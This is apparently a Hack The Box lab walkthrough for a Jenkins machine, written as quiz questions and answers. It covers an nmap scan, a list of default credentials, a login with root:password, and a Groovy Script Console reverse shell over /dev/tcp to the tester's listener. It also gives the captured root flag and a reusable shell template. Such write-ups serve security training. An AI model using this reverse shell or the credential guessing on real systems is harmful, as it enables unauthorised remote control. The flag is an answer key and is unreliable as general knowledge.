



1. What does the acronym CVE stand for?

Answer: Common Vulnerabilities and Exposures

2. What do the three letters in CIA, referring to the CIA triad in cybersecurity, stand for?

Answer: Confidentiality, Integrity, Availability

3. What is the version of the service running on port 8080?

```
(kali@kali)~[~/Desktop/HTB/labs]
$ nmap -Pn -sV -O 10.129.212.100
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 18:14 EDT
Nmap scan report for 10.129.212.100
Host is up (0.10s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
8080/tcp  open  http    Jetty 9.4.39.v20210325
Device type: general purpose/router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
```

Answer: Jetty 9.4.39.v20210325

4. What version of Jenkins is running on the target?

```
(kali@kali)~[~/Desktop/HTB/labs]
$ curl -I http://10.129.212.100:8080
HTTP/1.1 403 Forbidden
Date: Wed, 30 Jul 2025 20:45:17 GMT
X-Content-Type-Options: nosniff
Set-Cookie: JSESSIONID.90e85d2b=node01m0u4mjb3fz8qdwqbsfmv5d24.node0; Path=/; HttpOnly
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html; charset=utf-8
X-Hudson: 1.395
X-Jenkins: 2.289.1
X-Jenkins-Session: 3e33fdda
Content-Length: 541
Server: Jetty(9.4.39.v20210325)
```

Answer: 2.289.1

5. What type of script is accepted as input on the Jenkins Script Console?

Answer: Groovy

6. What would the "String cmd" variable from the Groovy Script snippet be equal to if the Target VM was running Windows?

Answer: cmd.exe

7. What is a different command than "ip a" we could use to display our network interfaces' information on Linux?

Answer: ifconfig


8. What switch should we use with netcat for it to use UDP transport mode?

Answer: -u

9. What is the term used to describe making a target host initiate a connection back to the attacker host?

Answer: reverse shell

10. Submit root flag.



Welcome to Jenkins!

Username

Password

☐ Keep me signed in

Common Login/Password Combinations:	
admin:admin	root:root
admin:password	root:toor
admin:123456	root:password
admin:1234	root:123456
admin:admin123	root:qwerty
admin:root	root:admin
admin:toor	root:1234
admin:12345678	root:root123
admin:qwerty	root:pass
admin:admin1	root:changeme
admin:welcome	root:alpine
admin:changeme	
admin:pass	

After an unsuccessful attempt to gain access via a reverse shell using Metasploit, I decided to try a different approach. Based on the Nmap scan results, it was clear the target was a Linux machine. I tested the most common username and password combinations for admin and root. As a result, the pair **root:password** worked.

I used a Groovy script because the target was running Jenkins, which allows running Groovy code through the Script Console.



Script Console

Type in an arbitrary [Groovy script](#) and execute it on the server. Useful for trouble-shooting and diagnostics. Use the 'println' command to see the output (if you use System.out, it will go to the server's stdout, which is harder to see.) Example:

```
println(Jenkins.instance.pluginManager.plugins)
```

All the classes from all the plugins are visible. jenkins.*, jenkins.model.*, hudson.*, and hudson.model.* are pre-imported.

```
def host = "10.10.14.215"
def port = 4444
String[] cmd = ["/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/${host}/${port} 0>&1"]
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start()
p.waitFor()
```

Run

```

(kali@kali)-[~/Desktop/HTB/labs]
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.215] from (UNKNOWN) [10.129.212.100] 48034
bash: cannot set terminal process group (920): Inappropriate ioctl for device
bash: no job control in this shell
root@pennyworth:/# pwd
/
root@pennyworth:/# find -name "flag.txt"
./root/flag.txt
root@pennyworth:/# cat ./root/flag.txt
9cdfb439c7876e703e307864c9167a15
root@pennyworth:/#

```

Answer: 9cdfb439c7876e703e307864c9167a15

Groovy Reverse Shell Script Explanation

This Groovy script is used to create a reverse shell connection from the target machine to the tester's machine.

How it works:

1. Define the tester's IP address (host) and port (port) where the tester is listening.
2. Prepare a command to start an interactive Bash shell (/bin/bash -i) and redirect its input/output through a TCP connection to the tester's machine (/dev/tcp/\${host}/\${port}).
3. Use ProcessBuilder to execute the command and redirect errors to the output stream.
4. Wait for the command to finish using p.waitFor().

Purpose:

If successful, this script opens a remote shell session, allowing the tester to control the target system via the command line.

Example Groovy script:

```

def host = "<your IP>"
def port = 4444

String[] cmd = ["/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/${host}/${port} 0>&1"]

Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start()

p.waitFor()

```